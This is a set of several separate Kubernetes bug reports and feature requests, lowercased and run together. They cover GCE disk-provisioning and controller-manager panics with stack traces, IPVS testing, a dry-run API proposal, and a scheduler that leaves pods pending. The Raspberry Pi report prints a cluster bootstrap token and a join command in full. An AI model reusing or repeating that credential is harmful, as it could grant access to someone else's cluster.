/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/gce/gce.go:816\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/gce/gce_disks.go:296\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/gce_pd/gce_util.go:183\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/gce_pd/gce_pd.go:382\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1313\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1210\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/goroutinemap/goroutinemap.go:130\r /usr/local/go/src/runtime/asm_amd64.s:2197\r e1119 07:37:34.250371       1 goroutinemap.go:166  operation for \ provision-default/mypvc 584905c8-ccfc-11e7-b129-42010a840006 \  failed. no retries permitted until 2017-11-19 07:37:50.250352128 +0000 utc  durationbeforeretry 16s . error: recovered from panic \ runtime error: invalid memory address or nil pointer dereference\ .  err=<nil>  call stack:\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:153\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:290\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/gce/gce.go:1094\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/gce/gce.go:816\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/gce/gce_disks.go:296\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/gce_pd/gce_util.go:183\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/gce_pd/gce_pd.go:382\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1313\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1210\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/goroutinemap/goroutinemap.go:130\r /usr/local/go/src/runtime/asm_amd64.s:2197\r    \r \r   what you expected to happen  :\r a persistent volume is created and ready to use\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a single node cluster on gce with kubeadm, eg  kelsey hightower's tutorial  https://github.com/kelseyhightower/kubeadm-single-node-cluster \r - create a storageclass\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: gold\r provisioner: kubernetes.io/gce-pd\r parameters:\r   type: pd-ssd\r    \r - create a persistentvolumeclaim\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: mypvc\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 100gi\r   storageclassname: gold\r    \r \r   anything else we need to know?  :\r we are also having this issue on a cluster we try to create from scratch on gce using centos.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : ubuntu 17.04\r - kernel  e.g.  uname -a  : linux kubeadm-single-node-cluster 4.10.0-38-generic  42-ubuntu smp tue oct 10 13:24:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r currently, ipvs-based kube-proxy is protected by feature gateway and there is no ut for it. we should test ipvs proxy mode when feature gateway is set.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area ipvs

discussed this morning as part of the wg-apply with @liggitt @lavalamp @seans3 \r \r since we're planning on adding a dry-run mechanism to apply, we would like to have that mechanism in place as early as possible in the server  even if just rejecting with an error , so that future clients don't get their dry-run requests accepted and performed while running against older servers.\r \r i'm suggesting that we add a \ dry-run\  query parameter whose content wouldn't matter on each modifying end-points  create, update, patch, delete .\r \r like the following    end/points?dry-run   . the value of dry-run will be ignored, so  dry-run=false  would still apply the dry-run  i think it's safer to consider requests as dry-run proactively .\r \r i've started a pull-request to implement this behavior   63557 \r \r @kubernetes/sig-api-machinery-api-reviews

is this a bug report or feature request?  :\r  \r   what happened  :\r brand new install of hypriot os v1.9.0 on a raspberry pi model b. installed the latest v1.11 of  kubelet ,  kubectl , and  kubeadm . performed the following commands:\r    \r kubeadm init --pod-network-cidr 10.244.0.0/16\r curl -ssl https://raw.githubusercontent.com/coreos/flannel/v0.10.0/documentation/kube-flannel.yml | sed \ s/amd64/arm/g\  | kubectl apply -f -\r    \r \r everything reported successful and not errors were logged during the installation. however,  kube-controller-manager  errors and gets caught in a crash loop forever. \r \r  kube-controller-manager  logs:\r    \r ❯ kubectl --namespace kube-system logs -f kube-controller-manager-node01\r i0701 22:00:56.833121       1 controllermanager.go:122  version: v1.11.0\r w0701 22:00:56.837185       1 authentication.go:55  authentication is disabled\r i0701 22:00:56.837267       1 insecure_serving.go:49  serving insecurely on 127.0.0.1:10252\r i0701 22:00:56.838719       1 leaderelection.go:185  attempting to acquire leader lease  kube-system/kube-controller-manager...\r i0701 22:01:12.918334       1 leaderelection.go:194  successfully acquired lease kube-system/kube-controller-manager\r i0701 22:01:12.918943       1 event.go:221  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ ad092a07-7d62-11e8-baa8-b827eb4f8d3a\ , apiversion:\ v1\ , resourceversion:\ 9838\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' node01_3b40d226-7d7a-11e8-86bc-b827eb4f8d3a became leader\r i0701 22:01:13.073861       1 plugins.go:97  no cloud provider specified.\r i0701 22:01:13.082943       1 controller_utils.go:1025  waiting for caches to sync for tokens controller\r i0701 22:01:13.185646       1 controller_utils.go:1032  caches are synced for tokens controller\r i0701 22:01:13.366035       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {apps deployments}\r i0701 22:01:13.366651       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {autoscaling horizontalpodautoscalers}\r i0701 22:01:13.366838       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {networking.k8s.io networkpolicies}\r i0701 22:01:13.367118       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {rbac.authorization.k8s.io rolebindings}\r i0701 22:01:13.367416       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for { endpoints}\r i0701 22:01:13.367671       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {apps daemonsets}\r i0701 22:01:13.367847       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {events.k8s.io events}\r w0701 22:01:13.368052       1 shared_informer.go:311  resyncperiod 47110443001297 is smaller than resynccheckperiod 64972060632246 and the informer has already started. changing it to 64972060632246\r i0701 22:01:13.368613       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for { podtemplates}\r i0701 22:01:13.368886       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {policy poddisruptionbudgets}\r i0701 22:01:13.369064       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for { limitranges}\r i0701 22:01:13.369350       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {apps replicasets}\r i0701 22:01:13.369528       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {apps controllerrevisions}\r i0701 22:01:13.369840       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {extensions daemonsets}\r i0701 22:01:13.370015       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {extensions ingresses}\r i0701 22:01:13.370192       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {batch cronjobs}\r i0701 22:01:13.370374       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {rbac.authorization.k8s.io roles}\r i0701 22:01:13.370608       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {extensions replicasets}\r i0701 22:01:13.370811       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {apps statefulsets}\r i0701 22:01:13.371049       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {batch jobs}\r w0701 22:01:13.371162       1 shared_informer.go:311  resyncperiod 53843626648998 is smaller than resynccheckperiod 64972060632246 and the informer has already started. changing it to 64972060632246\r i0701 22:01:13.371684       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for { serviceaccounts}\r i0701 22:01:13.372063       1 resource_quota_monitor.go:228  quotamonitor created object count evaluator for {extensions deployments}\r i0701 22:01:13.372256       1 controllermanager.go:468  started \ resourcequota\ \r i0701 22:01:13.372375       1 resource_quota_controller.go:275  starting resource quota controller\r i0701 22:01:13.372485       1 controller_utils.go:1025  waiting for caches to sync for resource quota controller\r i0701 22:01:13.372798       1 resource_quota_monitor.go:301  quotamonitor running\r i0701 22:01:13.437776       1 controllermanager.go:468  started \ deployment\ \r i0701 22:01:13.437874       1 deployment_controller.go:152  starting deployment controller\r i0701 22:01:13.438527       1 controller_utils.go:1025  waiting for caches to sync for deployment controller\r i0701 22:01:13.510727       1 controllermanager.go:468  started \ cronjob\ \r i0701 22:01:13.511107       1 cronjob_controller.go:94  starting cronjob manager\r i0701 22:01:13.584227       1 controllermanager.go:468  started \ csrsigning\ \r i0701 22:01:13.584303       1 certificate_controller.go:113  starting certificate controller\r i0701 22:01:13.584570       1 controller_utils.go:1025  waiting for caches to sync for certificate controller\r i0701 22:01:13.792567       1 controllermanager.go:468  started \ horizontalpodautoscaling\ \r i0701 22:01:13.793177       1 horizontal.go:127  starting hpa controller\r i0701 22:01:13.793240       1 controller_utils.go:1025  waiting for caches to sync for hpa controller\r i0701 22:01:13.857905       1 controllermanager.go:468  started \ persistentvolume-expander\ \r i0701 22:01:13.858160       1 expand_controller.go:150  starting expand controller\r i0701 22:01:13.858316       1 controller_utils.go:1025  waiting for caches to sync for expand controller\r i0701 22:01:13.933249       1 controllermanager.go:468  started \ endpoint\ \r i0701 22:01:13.933291       1 endpoints_controller.go:153  starting endpoint controller\r i0701 22:01:13.933469       1 controller_utils.go:1025  waiting for caches to sync for endpoint controller\r i0701 22:01:14.001686       1 stateful_set.go:151  starting stateful set controller\r i0701 22:01:14.001747       1 controller_utils.go:1025  waiting for caches to sync for stateful set controller\r i0701 22:01:14.001638       1 controllermanager.go:468  started \ statefulset\ \r i0701 22:01:14.085618       1 controllermanager.go:468  started \ persistentvolume-binder\ \r i0701 22:01:14.086139       1 pv_controller_base.go:271  starting persistent volume controller\r i0701 22:01:14.086189       1 controller_utils.go:1025  waiting for caches to sync for persistent volume controller\r i0701 22:01:14.148571       1 controllermanager.go:468  started \ csrapproving\ \r i0701 22:01:14.148694       1 certificate_controller.go:113  starting certificate controller\r i0701 22:01:14.148747       1 controller_utils.go:1025  waiting for caches to sync for certificate controller\r i0701 22:01:14.193017       1 controllermanager.go:468  started \ csrcleaner\ \r i0701 22:01:14.193090       1 cleaner.go:81  starting csr cleaner controller\r e0701 22:01:14.270970       1 core.go:72  failed to start service controller: warning: no cloud provider provided, services of type loadbalancer will fail\r w0701 22:01:14.271417       1 controllermanager.go:465  skipping \ service\ \r i0701 22:01:14.342750       1 taint_manager.go:184  sending events to api server.\r i0701 22:01:14.343262       1 controllermanager.go:468  started \ nodelifecycle\ \r i0701 22:01:14.343346       1 node_lifecycle_controller.go:361  starting node controller\r i0701 22:01:14.343658       1 controller_utils.go:1025  waiting for caches to sync for taint controller\r i0701 22:01:14.405777       1 controllermanager.go:468  started \ pvc-protection\ \r i0701 22:01:14.405833       1 pvc_protection_controller.go:99  starting pvc protection controller\r i0701 22:01:14.406272       1 controller_utils.go:1025  waiting for caches to sync for pvc protection controller\r i0701 22:01:14.468100       1 controllermanager.go:468  started \ pv-protection\ \r i0701 22:01:14.468310       1 pv_protection_controller.go:81  starting pv protection controller\r i0701 22:01:14.468579       1 controller_utils.go:1025  waiting for caches to sync for pv protection controller\r i0701 22:01:14.625476       1 namespace_controller.go:186  starting namespace controller\r i0701 22:01:14.625788       1 controller_utils.go:1025  waiting for caches to sync for namespace controller\r i0701 22:01:14.625435       1 controllermanager.go:468  started \ namespace\ \r i0701 22:01:14.747909       1 job_controller.go:143  starting job controller\r i0701 22:01:14.747976       1 controller_utils.go:1025  waiting for caches to sync for job controller\r i0701 22:01:14.747866       1 controllermanager.go:468  started \ job\ \r i0701 22:01:14.898406       1 controllermanager.go:468  started \ disruption\ \r i0701 22:01:14.898474       1 disruption.go:288  starting disruption controller\r i0701 22:01:14.898929       1 controller_utils.go:1025  waiting for caches to sync for disruption controller\r i0701 22:01:15.048531       1 csi_plugin.go:111  kubernetes.io/csi: plugin initializing...\r i0701 22:01:15.049351       1 controllermanager.go:468  started \ attachdetach\ \r i0701 22:01:15.049420       1 attach_detach_controller.go:259  starting attach detach controller\r i0701 22:01:15.049873       1 controller_utils.go:1025  waiting for caches to sync for attach detach controller\r i0701 22:01:15.239538       1 controllermanager.go:468  started \ clusterrole-aggregation\ \r i0701 22:01:15.240772       1 clusterroleaggregation_controller.go:148  starting clusterroleaggregator\r i0701 22:01:15.240870       1 controller_utils.go:1025  waiting for caches to sync for clusterroleaggregator controller\r i0701 22:01:15.347689       1 controllermanager.go:468  started \ replicationcontroller\ \r i0701 22:01:15.347745       1 replica_set.go:182  starting replicationcontroller controller\r i0701 22:01:15.347785       1 controller_utils.go:1025  waiting for caches to sync for replicationcontroller controller\r i0701 22:01:15.495490       1 controllermanager.go:468  started \ podgc\ \r i0701 22:01:15.495672       1 gc_controller.go:76  starting gc controller\r i0701 22:01:15.495708       1 controller_utils.go:1025  waiting for caches to sync for gc controller\r w0701 22:01:15.779839       1 garbagecollector.go:649  failed to discover preferred resources: the cache has not been filled yet\r i0701 22:01:15.781185       1 controllermanager.go:468  started \ garbagecollector\ \r i0701 22:01:15.781242       1 garbagecollector.go:133  starting garbage collector controller\r i0701 22:01:15.781289       1 controller_utils.go:1025  waiting for caches to sync for garbage collector controller\r i0701 22:01:15.781347       1 graph_builder.go:308  graphbuilder running\r i0701 22:01:15.949713       1 controllermanager.go:468  started \ daemonset\ \r i0701 22:01:15.949796       1 daemon_controller.go:253  starting daemon sets controller\r i0701 22:01:15.950378       1 controller_utils.go:1025  waiting for caches to sync for daemon sets controller\r i0701 22:01:16.098664       1 controllermanager.go:468  started \ ttl\ \r i0701 22:01:16.098731       1 ttl_controller.go:116  starting ttl controller\r i0701 22:01:16.098778       1 controller_utils.go:1025  waiting for caches to sync for ttl controller\r i0701 22:01:16.233528       1 node_ipam_controller.go:99  sending events to api server.\r i0701 22:01:26.300398       1 range_allocator.go:78  sending events to api server.\r i0701 22:01:26.300944       1 range_allocator.go:99  no service cidr provided. skipping filtering out service addresses.\r i0701 22:01:26.301022       1 range_allocator.go:108  node node01 has cidr 10.244.0.0/24, occupying it in cidr map\r i0701 22:01:26.301213       1 controllermanager.go:468  started \ nodeipam\ \r i0701 22:01:26.302164       1 node_ipam_controller.go:165  starting ipam controller\r i0701 22:01:26.302258       1 controller_utils.go:1025  waiting for caches to sync for node controller\r i0701 22:01:26.378640       1 controllermanager.go:468  started \ serviceaccount\ \r i0701 22:01:26.379737       1 serviceaccounts_controller.go:115  starting service account controller\r i0701 22:01:26.380025       1 controller_utils.go:1025  waiting for caches to sync for service account controller\r i0701 22:01:26.454869       1 controllermanager.go:468  started \ bootstrapsigner\ \r i0701 22:01:26.454943       1 controller_utils.go:1025  waiting for caches to sync for bootstrap_signer controller\r i0701 22:01:26.526308       1 controllermanager.go:468  started \ tokencleaner\ \r i0701 22:01:26.526364       1 tokencleaner.go:116  starting token cleaner controller\r w0701 22:01:26.526398       1 core.go:150  configure-cloud-routes is set, but no cloud provider specified. will not configure cloud provider routes.\r i0701 22:01:26.526401       1 controller_utils.go:1025  waiting for caches to sync for token_cleaner controller\r w0701 22:01:26.526432       1 controllermanager.go:465  skipping \ route\ \r i0701 22:01:26.592953       1 controllermanager.go:468  started \ replicaset\ \r i0701 22:01:26.593011       1 replica_set.go:182  starting replicaset controller\r i0701 22:01:26.594574       1 controller_utils.go:1025  waiting for caches to sync for replicaset controller\r i0701 22:01:26.594855       1 controller_utils.go:1025  waiting for caches to sync for resource quota controller\r i0701 22:01:26.607709       1 controller_utils.go:1025  waiting for caches to sync for garbage collector controller\r i0701 22:01:26.629545       1 controller_utils.go:1032  caches are synced for token_cleaner controller\r w0701 22:01:26.720302       1 actual_state_of_world.go:491  failed to update statusupdateneeded field in actual state of world: failed to set statusupdateneeded to needed true, because nodename=\ node01\  does not exist\r i0701 22:01:26.733340       1 controller_utils.go:1032  caches are synced for hpa controller\r i0701 22:01:26.733469       1 controller_utils.go:1032  caches are synced for node controller\r i0701 22:01:26.739355       1 range_allocator.go:157  starting range cidr allocator\r i0701 22:01:26.739527       1 controller_utils.go:1025  waiting for caches to sync for cidrallocator controller\r i0701 22:01:26.741541       1 controller_utils.go:1032  caches are synced for replicationcontroller controller\r i0701 22:01:26.742992       1 controller_utils.go:1032  caches are synced for gc controller\r i0701 22:01:26.784247       1 controller_utils.go:1032  caches are synced for service account controller\r i0701 22:01:26.797619       1 controller_utils.go:1032  caches are synced for replicaset controller\r i0701 22:01:26.809493       1 controller_utils.go:1032  caches are synced for stateful set controller\r i0701 22:01:26.809643       1 controller_utils.go:1032  caches are synced for ttl controller\r i0701 22:01:26.809493       1 controller_utils.go:1032  caches are synced for pvc protection controller\r i0701 22:01:26.828328       1 controller_utils.go:1032  caches are synced for namespace controller\r i0701 22:01:26.836768       1 controller_utils.go:1032  caches are synced for endpoint controller\r i0701 22:01:26.838895       1 controller_utils.go:1032  caches are synced for deployment controller\r i0701 22:01:26.839800       1 controller_utils.go:1032  caches are synced for cidrallocator controller\r i0701 22:01:26.841662       1 controller_utils.go:1032  caches are synced for clusterroleaggregator controller\r i0701 22:01:26.845050       1 controller_utils.go:1032  caches are synced for taint controller\r i0701 22:01:26.845182       1 taint_manager.go:205  starting noexecutetaintmanager\r i0701 22:01:26.845380       1 node_lifecycle_controller.go:1095  initializing eviction metric for zone:\r panic: runtime error: index out of range\r \r goroutine 1805  running :\r k8s.io/kubernetes/pkg/controller/nodelifecycle/scheduler.  noexecutetaintmanager .run.func1 0x155e8b90, 0x8, 0x1527c100 \r \t/workspace/anago-v1.11.0-rc.3.3+91e7b4fd31fcd3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/nodelifecycle/scheduler/taint_manager.go:229 +0x1f8\r created by k8s.io/kubernetes/pkg/controller/nodelifecycle/scheduler.  noexecutetaintmanager .run\r \t/workspace/anago-v1.11.0-rc.3.3+91e7b4fd31fcd3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/nodelifecycle/scheduler/taint_manager.go:217 +0x27c\r    \r \r i've included the full output of the commands above incase it's useful for folks:\r    \r hypriotos/armv7: root@node01 in ~\r   kubeadm init --pod-network-cidr 10.244.0.0/16\r i0701 19:04:30.916028    2179 feature_gate.go:230  feature gates: &{map  }\r  init  using kubernetes version: v1.11.0\r  preflight  running pre-flight checks\r i0701 19:04:31.053140    2179 kernel_validator.go:81  validating kernel version\r i0701 19:04:31.054345    2179 kernel_validator.go:96  validating kernel config\r \t warning systemverification : docker version is greater than the most recently validated version. docker version: 18.05.0-ce. max validated version: 17.03\r  preflight/images  pulling images required for setting up a kubernetes cluster\r  preflight/images  this might take a minute or two, depending on the speed of your internet connection\r  preflight/images  you can also perform this action in beforehand using 'kubeadm config images pull'\r  kubelet  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  kubelet  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  preflight  activating the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  node01 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 172.16.1.50 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  generated etcd/ca certificate and key.\r  certificates  generated etcd/server certificate and key.\r  certificates  etcd/server serving cert is signed for dns names  node01 localhost  and ips  127.0.0.1 ::1 \r  certificates  generated etcd/peer certificate and key.\r  certificates  etcd/peer serving cert is signed for dns names  node01 localhost  and ips  172.16.1.50 127.0.0.1 ::1 \r  certificates  generated etcd/healthcheck-client certificate and key.\r  certificates  generated apiserver-etcd-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this might take a minute or longer if the control plane images have to be pulled\r  apiclient  all control plane components are healthy after 184.018533 seconds\r  uploadconfig  storing the configuration used in configmap \ kubeadm-config\  in the \ kube-system\  namespace\r  kubelet  creating a configmap \ kubelet-config-1.11\  in namespace kube-system with the configuration for the kubelets in the cluster\r  markmaster  marking the node node01 as master by adding the label \ node-role.kubernetes.io/master=''\ \r  markmaster  marking the node node01 as master by adding the taints  node-role.kubernetes.io/master:noschedule \r  patchnode  uploading the cri socket information \ /var/run/dockershim.sock\  to the node api object \ node01\  as an annotation\r  bootstraptoken  using token: ak90k7.krztzu7fckmy3x96\r  bootstraptoken  configured rbac rules to allow node bootstrap tokens to post csrs in order for nodes to get long term certificate credentials\r  bootstraptoken  configured rbac rules to allow the csrapprover controller automatically approve csrs from a node bootstrap token\r  bootstraptoken  configured rbac rules to allow certificate rotation for all node client certificates in the cluster\r  bootstraptoken  creating the \ cluster-info\  configmap in the \ kube-public\  namespace\r  addons  applied essential addon: coredns\r  addons  applied essential addon: kube-proxy\r \r your kubernetes master has initialized successfully!\r \r to start using your cluster, you need to run the following as a regular user:\r \r   mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r \r you should now deploy a pod network to the cluster.\r run \ kubectl apply -f  podnetwork .yaml\  with one of the options listed at:\r   https://kubernetes.io/docs/concepts/cluster-administration/addons/\r \r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join 172.16.1.50:6443 --token ak90k7.krztzu7fckmy3x96 --discovery-token-ca-cert-hash sha256:a8c2be99faea0ad52cd39320750f07d01e30d1dc8d27c581cea4a6dfc0110add\r    \r \r    \r hypriotos/armv7: pirate@node01 in ~\r $ curl -ssl https://rawgit.com/coreos/flannel/v0.9.1/documentation/kube-flannel.yml | sed \ s/amd64/arm/g\  | kubectl create -f -\r clusterrole.rbac.authorization.k8s.io/flannel created\r clusterrolebinding.rbac.authorization.k8s.io/flannel created\r serviceaccount/flannel created\r configmap/kube-flannel-cfg created\r daemonset.extensions/kube-flannel-ds created\r    \r \r   what you expected to happen  :\r \r after a clean install,  kube-controller-manager  should not exit with a  panic: runtime error: index out of range  error. \r \r   how to reproduce it  as minimally and precisely as possible   :\r perform a clean install of v1.11 on a rasberry pi model b, boostrap cluster with  kubeadm  and deploy  flannel .  kube-controller-manager  will never stay up and panic. \r \r   anything else we need to know?  :\r my go knowledge is very limited however, i think https://github.com/kubernetes/kubernetes/commit/620f7ab4ce2eb943ba238cf82f65d889907db1d1 might be related. \r \r the note itself appears ready:\r    \r ❯ kubectl get nodes\r name      status    roles     age       version\r node01    ready     master    2h        v1.11.0\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ❯ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/arm\ }\r    \r - cloud provider or hardware configuration: raspberry pi model b\r - os  e.g. from /etc/os-release :  hypriotos/armhf v1.9.0  \r - kernel  e.g.  uname -a  :  linux node01 4.14.34-hypriotos-v7+  1 smp sun apr 22 14:57:31 utc 2018 armv7l gnu/linux \r - install tools: officially  apt  repo's, used  kubeadm  to initialize node\r - others: \r \r as always, i'm more than happy to provide any details at all that might be helpful to debug here.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i created some pods but some of them remained pending for a long time.\r     \r  root@tdc-tester01 ~   kubectl -n kubemark1 get po -owide  | grep pending\r hollow-node-4gt6k       0/3       pending   0          1h        <none>         <none>\r hollow-node-fhxw5       0/3       pending   0          1h        <none>         <none>\r hollow-node-k2ljq       0/3       pending   0          1h        <none>         <none>\r hollow-node-lkhct       0/3       pending   0          1h        <none>         <none>\r hollow-node-rsnwx       0/3       pending   0          1h        <none>         <none>\r    \r the scheduler log showed it's working on some other pods repeatedly:\r     \r i1211 18:56:10.496261       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:10.575674       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:10.592630       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:10.615411       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:10.658080       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:10.698381       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:10.737103       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:10.776197       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:10.838125       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:10.913541       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:10.967144       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:10.999102       1 scheduler.go:461  attempting to schedule pod: cicd/gitlab-tos-gitaly-0\r i1211 18:56:11.019121       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:11.037983       1 scheduler.go:461  attempting to schedule pod: cicd/gitlab-tos-gitaly-0\r i1211 18:56:11.057147       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:11.096837       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:11.136470       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:11.184016       1 scheduler.go:461  attempting to schedule pod: tq/hdfsdatanode-6j6qr-1\r i1211 18:56:11.215842       1 scheduler.go:461  attempting to schedule pod: tq/hdfsjournalnode-6j6qr-0\r i1211 18:56:11.256824       1 scheduler.go:461  attempting to schedule pod: cicd/gitlab-tos-gitaly-0\r i1211 18:56:11.295913       1 scheduler.go:461  attempting to schedule pod: ds/zookeeper-n75xg-2\r i1211 18:56:11.337077       1 scheduler.go:461  attempting to schedule pod: cicd/gitlab-tos-gitaly-0\r i1211 18:56:11.376326       1 scheduler.go:461  attempting to schedule pod: ds/zookeeper-n75xg-2\r i1211 18:56:11.416336       1 scheduler.go:461  attempting to schedule pod: cicd/gitlab-tos-gitaly-0\r 